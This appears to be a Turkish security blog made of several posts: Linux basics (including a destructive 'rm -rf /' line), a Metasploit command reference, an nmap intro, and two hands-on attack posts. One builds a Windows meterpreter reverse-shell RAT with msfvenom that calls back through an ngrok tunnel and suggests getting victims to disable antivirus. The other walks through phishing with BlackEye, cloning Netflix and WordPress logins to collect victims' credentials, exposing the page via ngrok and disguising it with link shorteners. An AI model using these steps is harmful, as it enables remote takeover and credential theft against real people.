İşletim sistemini ne amaçla kullanacağımıza göre de tercihler değişiyor. Örneğin oyun oynarken veya tasarım yaparken verim almak istiyorsak Windows kullanmak yerinde olacaktır. Birçok oyun ve tasarım programları linux üzerinde çalışmıyor. Diğer yandan yazılım yazarken veya pentest işlemlerinde Linux’un çok daha iyi olduğuna inanıyorum. Çoğu linux dağıtımında pentest araçları mevcut. Ancak şöyle de bir yanılgı var: linux kurduğunuzda hacker olmuyorsunuz. Haberlerde kullanılan “Hackerların kullandığı en acayip manyak 5 işletim sistemi” gibi başlıklar vurucu olsa da o kadar realist değil.

Peki hangi dağıtımlar mevcut? En çok bilineni Kali Linux. Kali Linux, ikinci versiyonunu çıkarttı. Eskiden backtrack dağıtımı olarak bilinirken ona desteğini kesti ve daha sonra kali olarak devam etti. Pentest için oldukça iyi bir işletim sistemi. Terminal ve arayüz arasında bir denge olduğunu söylemek mümkün.

Benim sık kullandığım dağıtım ise ParrotSEC. ParrotSEC, Kali Linux’a oldukça benziyor. Ama ondan daha stabil ve arayüzünün daha hacker havasına büründüğünü söyleyebilirim. Kali linux kurulumunda ilk aldığım hataları ParrotSEC kurarak aşmıştım. İçerisinde daha fazla araç bulunduruyor.

Arch ve Black Arch dağıtımları var. Onlar arayüzü büyük oranda grafiksel olmayan dağıtımlar. İşlerin çoğunu terminalden halletmek gerekiyor. Arayüz çok zayıf. Ancak bununla beraber donanımın gücü yapılan işlemlere kalıyor. Arayüze bir “harcama” yapmak gerekmiyor.

Ubuntu dağıtımı en popüler dağıtımlardan birisi. Daha ziyade son kullanıcıya yönelik. Arayüzü zengin. Windows’tan yeni geçecek olanlara genelde Ubuntu önerilir. Ancak siber güvenlik araçları kurulu bir şekilde gelmez. Kendiniz kurarsınız. Aynı zamanda bir mağazaya sahip.

Yavaştan dizin yapısına geçelim. Yüzeysel bahsedeceğim şimdilik.

/bin: Temel linux komutları burada yer alır. Bunlar tüm kullanıcıların kullanabileceği komutlardır.
/sbin1: Sadece root yetkisine sahip kullanıcının kullanabileceği komutlar burada yer alır.
/boot: Sistemin boot edilmesi için gerekli değişmez veriler. Yani sistemin açılmasına yardımcı olan dosyalar burada yer alır.
/dev: Cihazların bulunduğu dosyalar.
/etc: Local sistemimiz için gerekli sistem dosyaları.
/home: Kullanıcı dizinleri.
/lib: Programların ihtiyacı olan yazılım kütüphanelerine ait dosyalar burada yer alır.
/mnt: Geçici bağlantı noktası.
/proc: Dosya sisteminin Process (işlem) bilgileri.
/root: ‘root’ kullanıcısına ait kişisel dizin. Diğeri kullanıcılar buraya erişemez.
/tmp: Geçici saklama alanı. Herkese açıktır. (Hacklenmeye çalışılan sistemlerde buraya shell atılıp çalıştırılabilir mi sanki(?))
/usr: İkincil ana hiyerarşi (Uygulama programlarını içerir.)
/var: Değişken veri bölgesi.

Komutlara geçmeden önce ufak bir şeye daha dokunmamız gerek. Linux’ta yer alan “root” kullanıcısı, Windows’ta yer alan Administrator’e denk gelir. İkisi de sistemde tam erişime sahiptir. Ancak siz, linux sistemindeki tek kullanıcı dahi olsanız, root kullanıcı olmayabilirsiniz. Eğer bu tip bir işlem yapmanız gerekirse root terminalini (genelde kırmızı renkte sembolü vardır) açmanız gerek. Veya yazacağınız komutun başına “sudo” yazarsanız root yetkisi istemiş olursunuz. Kullandığınız dağıtıma göre komut değişmektedir. İnternette arayıp temin edebilirsiniz. Daha sonra linux sizden root parolasını girmenizi ister. Daha sonrasında komutu çalıştırabilirsiniz. 

Son bir iki mesele daha…. Eğer linuxta bir komutun ne işe yaradığını veya nasıl kullanılacağını bilmiyorsanız komutun yanına -h, -help veya –help yazmanız yeterli. Linux terminalin en pratik özelliklerinden birisi de bu. Diğer yandan bir araç çalıştırdınız fakat durdurmak veya çıkmak istiyorsunuz. Büyük oranda CTRL+C kısayolu işinize yarayacaktır. Geçelim bu vırvırları ve esas meselemize gelelim.

ls: Bulunduğunuz dizindeki dosyaları listeler.

ls -a: Gizli dosyaları da gösterir. İsmi “./” ile başlayanlar örneğin.

ls -l: Dosyaların izin durumları, boyutu, tarihi vs. gibi bilgileri de beraberinde vererek listeler.

cd oguzatay: oguzatay ismindeki dizine geçiş yapmanızı sağlar. Bulunduğunuz dizinde böyle bir dizin varsa tabii. Veya, cd /Desktop/oguzatay gibi birden fazla dizin belirterek de geçiş yapabilirsiniz.

cd ~: Home dizinine geçiş yapmanızı sağlar. cd komutu, “Change Directory”den gelir.

cd -: Bir önceki dizine döner.

cd ..: Üst dizine gider. Örneğin Desktop/caglar dizinindesiniz. Bu komutu kullandığınızda /Desktop dizinine dönüş yaparsınız.

cp kaynak hedef: Kaynaktan hedefe dosya kopyalar. “Copy”den gelir.

cp -R kaynak hedef: Recursive kopyalar.

mv kaynak hedef: Dosyaları taşımak veya adlarını değiştirmek için kullanılır.

mkdir cumhuriyet: “cumhuriyet” isminde dizin oluşturmanızı sağlar. “Make Directory”den gelir.

rm kapitulasyon: Bulunduğunuz dizindeki “kapitulasyon” isimli dosyayı siler. “Remove Directory”den gelir.

rmdir yobaz: Bulunduğunuz dizindeki, içi boş olan “yobaz” dizinini siler.

rm -r halifelik: halifelik dizinini içindeki dosyalarla beraber siler.

rm -rf /mandavehimaye: “mandavehimaye” dizini içindeki tüm dizinleri ve dosyaları tekrar sormaksızın siler.

rm -rf / : Kök dizini tamamen siler. Kullanmadan önce tekrar düşünmek ister misiniz?

touch nutuk.txt: “nutuk.txt” isminde bir dosya yoksa yaratır, varsa tarihini değiştirir.

cat andimiz.txt: Terminal üzerinde, “andimiz.txt” isimli dosyayı gösterir.

grep Türk’üm andimiz.txt: “Türk’üm” yazısını “andimiz.txt” dosyasında arar. Bulunduğu satırı görüntüler.

less dosyaadi: Dosyada ilerlemek için kullanılır. (Q ile çıkış yapar.)

pwd: Bulunulan dizinin ismini gösterir.

who: Makineye bağlı kullanıcıları görüntüler.

whoami: Sizin hangi kullanıcı olduğunuzu görüntüler.

uptime: Bilgisayar açıldığından beri geçen süreyi gösterir.

ifconfig: Windows’taki “ipconfig” ile aynı işi yapar. Yerel IP adresi, MAC adresi, etkin arabirim gibi bilgileri listeler.

ifconfig -a: Temel komutun yanı sıra etkin olmayan arabirimleri de sıralar.

ifconfig eth0: eth0 arabirimi ile ilgili olan bilgileri getirir.

ifconfig eth0 up/down: eth0 arabirimini aktif eder/durdurur.

ifconfig eth0 hw ether AA:BB:CC:DD:EE:FF: eth0 arabiriminin MAC adresini değiştirir.

ifconfig eth0 192.168.1.10: eth0 arabirimine IP adresi atar.

man komutismi: komutismi yerine yazdığımız komutun detaylı biçimde nasıl kullanıldığını ve ne işe yaradığını gösterir.

useradd kobay: “kobay” isminde bir kullanıcı oluşturur.

history: Terminalde kullandığınız son komutları görüntülemenizi sağlar.

reboot: Sistemi yeniden başlatır.

shutdown -h now: Sistemi kapatır.

shutdown -h 23:59 : Sistemi, saat 23.59’da kapatır.

sudo shutdown +15: Sistemi 15 dakika sonra kapatır.

sudo shutdown -c: Kapatmaktan vazgeçerseniz bu komutu kullanabilirsiniz.

echo “Ayakta mı duramıyom?”: Terminale, “Ayakta mı duramıyom? yazar.

clear: Terminali temizler.

ps: Çalışan işlemleri gösterir.

kill PID: Komuta girdiğiniz işlemi durdurur.

tar -cvf txt_dosyalar.tar *txt : Sonu txt ile biten tüm dosyaları sıkıştırır. Tamamını txt_dosyalar.tar adlı dosyada birleştirir.

tar -tf txt_dosyalar.tar:  txt_dosyalar.tar dosyasının içindekileri listeler.

tar -xvf txt_dosyalar.tar: Dosyanın içeriğini çalışma alanına döker.

wget -r http://siteadi.com/wget/ : Söz konusu adreste gösterdiğiniz dizini bilgisayara indirir.

wget -c $http://siteadi.com/wget/parrotsec.iso : Belirttiğiniz iso dosyasını indirir. İndirme aniden kesilse dahi -c komutu ile indirmeye devam edebilirsiniz.

git clone URL: URL yerine girdiğiniz github adresindeki dosyaları indirir.

sudo apt-get install paket_adı: paket_adı isimli dosyanın kurulmasını sağlar.

sudo apt-get remove paket_adı: paket_adı isimli dosyanın kaldırılmasını sağlar.

sudo apt-get update: Paket listelerini günceller.

chmod komutu, dosya izinleri ile ilgilidir. Bunun için birkaç temel şeyi bilmek gerekir. Dosya izinleri üçe bölünür:

  • r: read(okuma)
  • w: write(yazma)
  • x: execute(çalıştırma)

Bu izinler sıralı olarak gösterilir. “rwx” şeklinde. Dosya özelliklerinde hangi harf varsa o kişi, o yetkilere sahiptir. Bunun dışında bir ve sıfırlarla da gösterilebilir. Örneğin “110” yazıyorsa, okuma ve yazma izni var, çalıştırma izni yok demektir.

Devam edelim. Kullanıcılar da üçe bölünüyor:

  • u – user (dosyanın sahibi)
  • g – group (dosya veya dizinin ait olduğu grup)
  • o – other (diğerleri, user ve group haricindekiler)
  • a – all (ugo- user,group, other) (hepsi, herkes dosya ve dizinlere erişebilir.)

Şimdi hepsini bir arada inceleyeceğimiz bir örnek yazalım. Listeli şekilde giden bu izin harflerini üçer üçer böleceğiz. Diyelim ki dosta izni kısmında “drwxr-xr–” yazıyor. Bu durumda, söz konusu dizine userın okuma, yazma, çalıştırma izni var demektir. Dizinin ait olduğu grubun okuma ve çalıştırma izni var, yazma izni yok demektir. Diğer kullanıcıların ise okuma izni var, yazma ve çalıştırma izni yok demektir.

Peki buraya kadar tamam. İzinleri nasıl değiştireceğiz?

  • chmod +r dosya: Dosyaya okuma izni verir.
  • chmod 666 dosya: Tüm kullanıcılara okuma ve yazma yetkisi verilir.
  • chmod a+rwx  ve chmod 777 dosya: Dosyaya tüm kullanıcılar tarafından tam yetki verilir.
  • chmod go-rw dosya: Grup ve diğer kullanıcılar üzerindeki okuma ve yazma yetkisini kaldırır.

Varyasyonları arttırmaya devam edebiliriz.

Arada bir detay var fark ettiniz mi? chmod sonrasında “rwx” yerine sayılar kullandım. Peki bunlar nasıl çalışıyor? Her yetkinin bir değeri var. Toplandığında bize yetki dağılımını veriyor.

  • Read: 4
  • Write: 2
  • Execute: 1

Toplamları bize kullanıcının yetkisini verecek. Örneğin:

chmod 765 : Birinci kullanıcıya düşen sayı 7, ikinciye düşen 6, üçüncüye düşen 5. Bu durumda birinci kullanıcı “rwx”  yetkilerine sahip. İkinci kullanıcı “rw-“, üçüncü kullanıcı ise “-wx”.

Kategoriler
Linux Metasploit Siber Güvenlik

Msfvenom ile Uzaktaki Windows Makineye Saldırı

Metasploit serisine bu sefer uygulamalı bir yazı ile devam edeceğiz. Windows sistem kurulmuş makinelere metasploit ile rat hazırlayacağız ve karşı taraftan bağlantı almayı deneyeceğiz. Ancak farklı olarak ngrok kullanarak farklı ağdan internete çıkan makineler üzerinde de test edeceğiz.

Ngrok kullanımından daha önce Tembeller için Phishing: Blackeye yazımda anlatmıştım. Oraya bir göz atmanız yeterli. Bu yazıda mantığını es geçip uygulamasını göstereceğim.

./ngrok tcp 1212 komutu ile ngrok uygulamasında tcp tipinde 1212 portunu açıyoruz. Port numarası sizin keyfinize kalmış. Daha sonra bize verdiği beş haneli port numarasını(değişebilir) ve linki bir kenara alalım. Ngrok çalışmaya devam etsin. Msfvenom’a geçelim.

Şimdi msfvenom ile ratı oluşturalım.

msfvenom windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11841 -f exe R > rat.exe

Ezbere gitmeyelim. Ne yaptık anlatalım. Msfvenom aracı ile windows sistemlerde reverse tcp bağlantı yapacak bir dosya hazırladık.  LHOST ile local adresimizi ngrok aracının verdiği bağlantıyı girdik. LPORT ile port adresimizi de ngrok sisteminin verdiği porta verdik. -f exe kısmında da exe dosyası tercih ettiğimizi belirttik. R > rat.exe ile istediğimiz rat dosyasını bulunduğumuz dizine rat.exe isminde oluşturduk.

Reverse tcp bağlantı nedir? Klasik mantıkta siz bir rat oluşturduğunuzda karşı makinede bir port açıp onun üstünden karşı makineye bağlanırsınız. Oluşturduğunuz rat karşı tarafta bir port açardı. Buna bind shell diyoruz. Reverse shell, buradaki adı ile reverse tcp bağlantı ise saldırgan tarafta port açılması, karşı makinenin o porta bağlanarak veri aktarması mantığına dayanır.

Rat dosyasını oluşturduk Karşı tarafa atmadan önce oluşturduğumuz ratı dinlemeye alalım. “msfconsole” komutu ile metasploiti çalıştıralım. Daha sonra use exploit/multi/handler diyelim. Daha sonrasında ise aşağıdaki bilgileri girmemiz yeterli.

set LHOST 127.0.0.1

set LPORT 1212

run

Karşı taraf dosyayı açtığında bağlantı gelecek ve sistemde yetkinize bağlı olarak işlem yapabileceksiniz. Diğer sıkıntı ise anti virüs uygulamaları anında fark edecektir. Windows defender da buna dahil. Karşı tarafa anti virüs uygulamalarını eliyle kapattırmak gerekiyor. Biz antilerden nasıl kaçarız, kalıcılığı nasıl sağlarız, yetki yükseltme işlemini nasıl yaparız ayrı ayrı anlatacağız.

Kategoriler
Linux Siber Güvenlik

Tembeller için Phishing: BlackEye

Daha öncesinde twitter hesabımdan Blackeye isimli aracı göstermiştim ve oldukça kolay olduğundan bahsetmiştim. Siz listeden seçili olan bir scripti seçiyorsunuz ve bir link veriyorsunuz. Daha sonra karşı tarafa linki gönderiyorsunuz. Giriş yaptığında bilgiler karşınıza geliyor. Script hazırlayayım kurulum yapayım derdi yok. Yalnızca bir sayıya basıyorsunuz. Kolay fakat bir kahve arası yazı hazırlamaya değer.

https://github.com/thelinuxchoice/blackeye  adresine gidip aracı indirin. Zip’ten çıkartıp bir kenara atın. Sonra blackeye dizinine geçip aracı çalıştırın.

git clone https://github.com/thelinuxchoice/blackeye
cd blackeye
bash blackeye.sh

Daha sonra karşınıza çıkan ekrandan istediğiniz scripti seçin. Kimisi eski temada kalmış olabilir ancak klasördeki dosyaları biraz düzenleyerek devam edebilirsiniz. Sonrasında sizden karşı tarafa göndereceğiniz linki istiyor. Elbette kafanıza göre domain veremezsiniz. Yerel ağda kullanmak istiyorsanız localdeki ip adresinizi girmeniz yeterli. Daha sonra ağdaki başka bir makinede taraayıcıya girip ip adresinizi yazmanız yeterli. Karşı taraf giriş yaptığı zaman bilgiler sizin terminalinize düşmüş olacaktır. Aşağıda giriş yaptığımız bir örnek mevcut. Adres kısmına bakarsanız localdeki ip adresim mevcut. Ben Sign In dedikten sonra Netflix’in orijinal sayfasına yeniden yönlendirecek.

Arkada neler oldu? Ben 8 numaralı scripti seçtim. Netflix’e aitti. Sonrasında bağlanan kurbanın ip adresini verdi. Kendi makinemde denediğim için yine Victim IP: 172.16.101.1 yazdı. Hangi tarayıcı, hangi işletim sisteminden bağlanıyorsam topladı ve netflix/saved.ip.txt adresine logladı. Daha sonra benim giriş yapmamı bekledi. Ve Account kısmında kullanıcı adımı, Password kısmında ise parolamı verdi. Bunu da sites/netflix/saved.usernames.txt adresine logladı. İşte hepsi bu kadar… değil. Az daha işimiz var 🙂

Peki ama farklı ağda ise nasıl halledeceğiz? Aracın güzelliği de burada aslında. Ngrok ile beraber çalışıyor. Size direk olarak bir ngrok linki veriyor ve onu internete bağlı bir makinede çalıştırmanız yeterli oluyor. Ancak benim kullandığım versiyonda ngroku manuel çalıştırıp linki vermem gerekiyor. E yapalım madem. Ama öncesinde ngrok ne ondan bahsedelim. Kabaca, sizin localde çalıştırdığınız bir sistemi herkesin bağlanabileceği bir tünele bağlıyor. Bu şekilde istediğiniz birisi ile dosya paylaşımı da yapmanız mümkün. Bir web sitesi yaptınız. Localde hazırlıyorsunuz ancak gelişmeleri müşteri anlık takip etsin istiyorsunuz. FTP ile mi uğraşacağım canım diyorsunuz. Ngrok sayesinde direk link vermeniz mümkün. Ücretsiz versiyonda ngrok her açılışta yeni link verir. Ancak ücretli versiyonda size tanımlanan linkler sabittir ve tekrar tekrar kullanabilirsiniz. Konumuza dönelim. Önce ngroku sisteme kuralım.

https://ngrok.com/ adresine önce kayıt olmanızda fayda var. Daha sonrasında indirip bir dizine çıkartın. Arkasından size sitede verilen bir token var. Onu girmeniz gerek. Aşağıda ikisini de gösterdik.

unzip /path/to/ngrok.zip

./ngrok authtoken [TOKEN-NO]

Şimdi ngroku çalıştırabiliriz. ./ngrok help diyerek kullanabileceğiniz parametreleri görebilirsiniz. Devam edelim. ./ngrok http 80 yazalım ve tüneli oluşturalım. Http versiyonlu 80 portunda çalışan bir tünel bu. Siz tcp ile metasploitte rat da yaparsınız ki onu sonra anlatacağım zaten.

Yukarıdaki ekran geldiyse sorun yok demektir. Şimdi tekrar blackeye aracına dönün ve önceki yaptığımız adımları aynen yapın. Ancak bu sefer local ip adresiniz yerine localhost yazın. Ne alaka mı? Siz localhostunuzu ngrok ile internete açtınız. Daha sonra http://59423c12.ngrok.io adresine tıklandığında script karşımıza çıkacak. Hangi ağda olduğu önemli değil. İnternete çıksın o bize yeter. Ngrok linki artık bütün internete açık ve wordpress panel scripti çalıştırdım. Giriş bilgileri aynen blackeye üzerinde görünecek ve loglanacaktır. Bunu reklamsız ve göze batmayan link kısaltma siteleri ile karşı tarafa göndermek mümkün. İstediğiniz bir domainde çalıştırmanın yolu var mı bilmiyorum. Sizlerden bunu çözen olursa yorumlara bir mesaj bırakırsa çok sevinirim.

Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit (Msfconsole) Komutları

Terminalde “msfconsole” komutu ile metasploit aracını çalıştırıyoruz. Eğer banner ve diğer detayları görmek istemezseniz “msfconsole -q” yazabilirsiniz.

“help” komutu ile tüm komutları ve ne işe yaradığını öğrenmeniz mümkün. Gelelim bu listedekilerin ne işe yaradığına. Hepsini aşağıda özet bir biçimde sıraladım. Liste kabarık farkındayım. Ancak bilmeniz gerekenleri kırmızı renkle özellikle belirteceğim. Ne kadar bilirseniz o kadar iyi ama tüm tabloyu ezberlemek de zorunda değilsiniz. Kullanımlarını da tablonun altında göreceksiniz.

Tüm Metasploit (msfconsole) Komutlarının Özet Tablosu

back : Geçerli içerikten geri git pushm :
banner : Metasploit bannerlarını görüntüler. (Şu açılışta karşınıza çıkan rastgele bannerlar.) quit : Konsoldan çıkış.
cd  : Geçerli çalışma dizinini değiştirir. (Linux kullanıcıları bilir.) reload_all : Tanımlanmış tüm modül yollarından tüm modülleri yeniden yükler
color : Msfconsole’da oluşan çıktı renk içerecekse etkinleştirebilirsiniz. rename_job : İşi yeniden adlandırır.
connect : Bir host ile iletişim kurar. resource : Bir dosyada saklanan komutları çalıştır
edit : Seçilen exploiti veya modülü editör ile düzenlemeyi sağlar. route : Trafiğin yönlendirilmesini sağlar.
exit : Konsoldan çıkış. save : Veriyi depolar, kaydeder.
get : search : Exploit, payload ve diğer modülleri aramanızı sağlar.
getg : sessions : Oturumları listeler.
go_pro : Metasploit web GUI’yi başlatır. set : Bir değişkeni, bir değeri ayarlamayı sağlar.
grep : Yine linux kullanıcıları bilir. Search komutu ile çıkan sonuçlardan yalnızca istediklerinizi çıktı yapar. setg : Bir değişkeni, bir değeri global olarak ayarlar. Her modül seçiminde mevcut değişken hep aynı kalır.
info : Modüller hakkında bilgi verir. show : Modülleri listeler.
irb : irb scripting modunu başlatır. sleep : Verilen zaman aralığında işlem yapmaz.
jobs : İşlemleri görüntüler ve yönetir. spool
kill : İşlemi kapatır. threads
load : Eklenti yüklemek için kullanılır. unload : Mevcut eklentiyi kaldırır.
loadpatch : Verilen kaynaktan exploit vb. modülleri yükler. unset : Ayarlanan değişkeni iptal eder.
makerc : Bir dosyaya başlandıktan sonra girilen komutları kaydeder. unsetg : Ayarlanan global değişkeni iptal eder.
popm : En son modülü yığından çıkartır ve aktif hale getirir. use : İsmi verilen modülün seçilip kullanılmasını sağlar.
previous : Mevcut modül olarak önceden yüklenen modülü ayarlar. version : Konsol kütüphanesi sürüm numarasını gösterir.

run ve exploit

Bir modüle dair tüm hazırlığınızı yaptınız. Ve sonunda sistemde çalıştırmak istiyorsunuz. Bu durumda run veya exploit komutunu girmeniz yeterli.

back

Belirli bir modülle çalışmanız bittikten sonra veya bir modülü hata ile seçtiniz ise “back” komutu ile geçerli içeriğin dışına çıkabilirsiniz. Elbette bunu yapmanız şart değil. Bir modülün içindeyken de başka bir modül seçebilirsiniz.

msf auxiliary ( ms09_001_write )> back

background

Bir sisteme sızdınız ve aktif bir oturum yakaladınız. Diğer taraftan başka bir sisteme girmeniz gerekiyor. Bu durumda yakaladığınız aktif oturumu kaybetmeden diğer işlemleri yapmak için “background” komutunu yazmanız yeterli. Arkaplanda erişiminiz devam eder. Tekrar o erişime ihtiyacınız olursa “sessions” komutunu kullanabilirsiniz. Yazının devamında onu da anlattım.

banner

Metasploit açılışta size çeşitli bannerlarından birini gösterir. Diğerlerini görmek isterseniz “banner” yazmanız yeterli.

check

Diyelim ki sistemde bir exploiti, bir zafiyeti denemek istiyorsunuz. Ancak gerçekten sisteme girmeyi değil de sadece kontrol etmeyi istiyorsunuz. Exploitin o sistemde çalışıp çalışmadığını anlamak için parametreleri ayarladıktan sonra check yazmanız yeterli.

msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf  exploit(ms08_067_netapi) >

color

Metasploit’in çıktılarını renkli veya renksiz bir biçimde tercih edebilirsiniz. Dikkat ederseniz aşağıdaki görselde seçtiğimiz exploit düz renk oldu.

connect

Telnet bağlantısı yapar gibi metasploit üzerinden de başka bir uzak makineye msfconsole içinden bağlanabilirsiniz. SSL, proxy, pivoting ve dosya aktarımını destekler. Connect komutu ile ip adresi ve port numarası belirtmeniz yeterli.

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:

edit

Edit komutu $VISUAL veya $EDITOR ile mevcut modülü düzenlemenizi sağlar. Varsayılan olarak Vim’de açar.

msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/windows_error'
...(kodlar devam etmekte)

grep

Linux’taki grep komutuna oldukça benziyor. Örneğin arama işlemini grep ile gerçekleştirerek arama sonuçları içinde kısıtlamalar yapabilirsiniz. Aşağıda oracle aranmıştır ve yalnızca içinde http geçen modüller listelenmiştir.

msf > grep http search oracle

info

Bu komut sayesinde kullanmak istediğiniz modüle dair birçok bilgiye sahip olabilirsiniz.

  • Yazar ve lisans bilgileri
  • Güvenlik açığı referansları (örneğin: CVE, BID, vb.)
  • Modülün sahip olabileceği herhangi bir yük sınırlaması
msf  exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
    Version: 14774
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good

Provided by:
  Laurent Gaffie <[email protected]>
  hdm <[email protected]>
  sf <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in 
  the SMB request validation code of the SRV2.SYS driver included with 
  Windows Vista, Windows 7 release candidates (not RTM), and Windows 
  2008 Server prior to R2. Windows Vista without SP1 does not seem 
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
  http://www.securityfocus.com/bid/36299
  http://www.osvdb.org/57799
  http://seclists.org/fulldisclosure/2009/Sep/0039.html
  http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</[email protected]></[email protected]></[email protected]>

jobs

Arkaplanda çalışan modülleri gösterir. “jobs -l” komutu tüm işleri listeler. “jobs -K” tüm işleri kapatır.

kill

“kill 2” formatında kullanılır. “jobs” komutu ile listelenen işlerden istediğiniz birini kapatabilirsiniz. İş numarasını kill komutu ile kullanmanız yeterli.

msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...

[*] Server stopped.

search

Metasploit üzerinde bir işletim sistemi, bir servis veya bir modül tipi arıyorsunuz. Search komutunu kullanabilirsiniz.

  • “search platform: linux” yazmanız halinde linux platformunda işe yarar modülleri listeler.
  • “search type: auxiliary” şeklinde aramalarla modül tipi belirtebilirsiniz.
  • “search name: mysql” komutu ile mysql geçen modüllerin listelenmesini sağlarsınız.
  • “search author: dookie” komutu ile modülleri, yazan kişiye göre arayabilirsiniz.
  • “search cve(edb,cve,osvdb):****” Bu formatta istediğiniz numara ile arama yapabilirsiniz.
msf > search cve:2011 author:jduck platform:linux

Matching Modules
================

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  NetSupport Manager Agent Remote Buffer Overflow

sessions

Bir exploit sayesinde sisteme girdiniz diyelim. Hatta birden fazla sisteme girdiniz. Bu durumda herhangi bir sisteme geçiş yapmak isterseniz “sessions -l” komutu ile aktif oturumları listeleyebilirsiniz. Daha sonra meterpreter çalıştırmak için “sessions -c <id>” komutu girmeniz yeterli. Veya o oturuma geçmek için “sessions -i <id>” komutunu girebilirsiniz.

 

msf exploit(3proxy) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

C:WINDOWSsystem32>

set

Bir modül seçtiniz ve kullanmaya başladınız. Gerekli parametreleri girmek istiyorsunuz. Bu durumda “set” komutunu kullanırsınız. Örnek vermek gerekirse : “set RHOST 127.0.0.1”

msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134

unset

Seçtiğiniz modülün parametresini hatalı girdiniz. Veya o parametreyi boş bırakmak istiyorsunuz. Bu durumda “unset” komutu işinize yarar. Örnek vermek gerekirse : “unset RHOST”. Diğer yandan “unset all” komutu ile modüle ait girdiğiniz tüm parametreleri sıfırlayabilirsiniz.

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...

setg

Bir hedefe karşı birden fazla modülü test edeceksiniz. Ancak sürekli olarak RHOST girmekten sıkıldınız diyelim. (Bu başka bir parametre de olabilir.) Bu durumda global bir değer atarsınız ve siz aksini söyleyinceye kadar metasploit, hangi modülde RHOST varsa hepsine sizin bir defa verdiğiniz değeri girer. Örneğin : “setg RHOST 127.0.0.1”

show

Bu komut göster anlamına gelmektedir. Aşağıda pekçok örnekte kullandık. Onları incelediğinizde daha iyi anlayacaksınız.

payload

Birçok payload mevcut. Hangisini nerede kullanacağımızı bilemiyoruz. Bu durumda mevcut exploiti seçtikten sonra show payloads yazdığımda exploite uygun payloadları bana listeleyecektir.

msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline
...snip...

options

Bir modülü seçtiniz ve kullanmak için hangi parametrelere ihtiyacınız var bilmek istiyorsunuz. “show options” veya “options” yazdığınızda girmeniz gereken parametreler size listelenir. “Required” kısmının altında yes yazanları girmek zorundasınız. No yazanları girmeseniz de modül çalışmayı dener. Ancak no yazanları girerseniz modülün gücüne güç katarsınız. Çalışma imkanı artacaktır.

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

use

Bir modül seçtiğinizde onu kullanmaya başlamanız için use komutunu kullanıp modülün adresini yazarsınız.

msf > use dos/windows/smb/ms09_001_write

Tab Tuşu

Tab tuşu linuxta büyük kolaylık. Kelimelerinizin birkaç harfinden sonra tab tuşuna basmanız halinde devamı otomatik tamamlanır. Aynı harflerle başlayan birden fazla komut varsa arka arkaya taba basın ve size hepsini sıralasın. Bu sayede tam anımsayamadığınız komutları da hatırlayabilirsiniz.

Bu yazı çok büyük oranda Offensive Security’nin metasploit klavuzundan çevrilmiştir. Açıklamalarda farklılıklar söz konusu. Bire bir çeviri değil.

https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

Kategoriler
Linux Siber Güvenlik

Detaylı NMAP Kullanımı

Nmap, en basit açıklama ile hedef makinedeki portları tespit etmemizi, onlar hakkında bilgi toplamamızı sağlayan bir araç. Ancak bununla sınırlı değil. Çok daha kapsamlı işler yaptığı gerçek. Ağdaki veya bizim belirlediğimiz ip adreslerindeki işletim sistemini, o makinelerde çalışan servisleri, firewall bulunup bulunmadığı ve ağ haritası gibi veriler oluşturmamız mümkün. Ağırlıklı olarak linux üzerinde kullanılmakla beraber windows ve MacOS için de indirmek mümkün. Hatta Android üzerinden de kullanabilirsiniz. Biz anlatımlarımızı linux üzerinden sürdüreceğiz.Yazıya devam etmeden önce buraya tıklayarak internet protokollerini öğrenmenizi öneririm. Bunları anlamadan komutları anlamanız pek mümkün olmayacaktır. Kurulum kısmını ben pas geçeceğim ancak kolayca yapabilirsiniz. Kaynak bırakacağım.

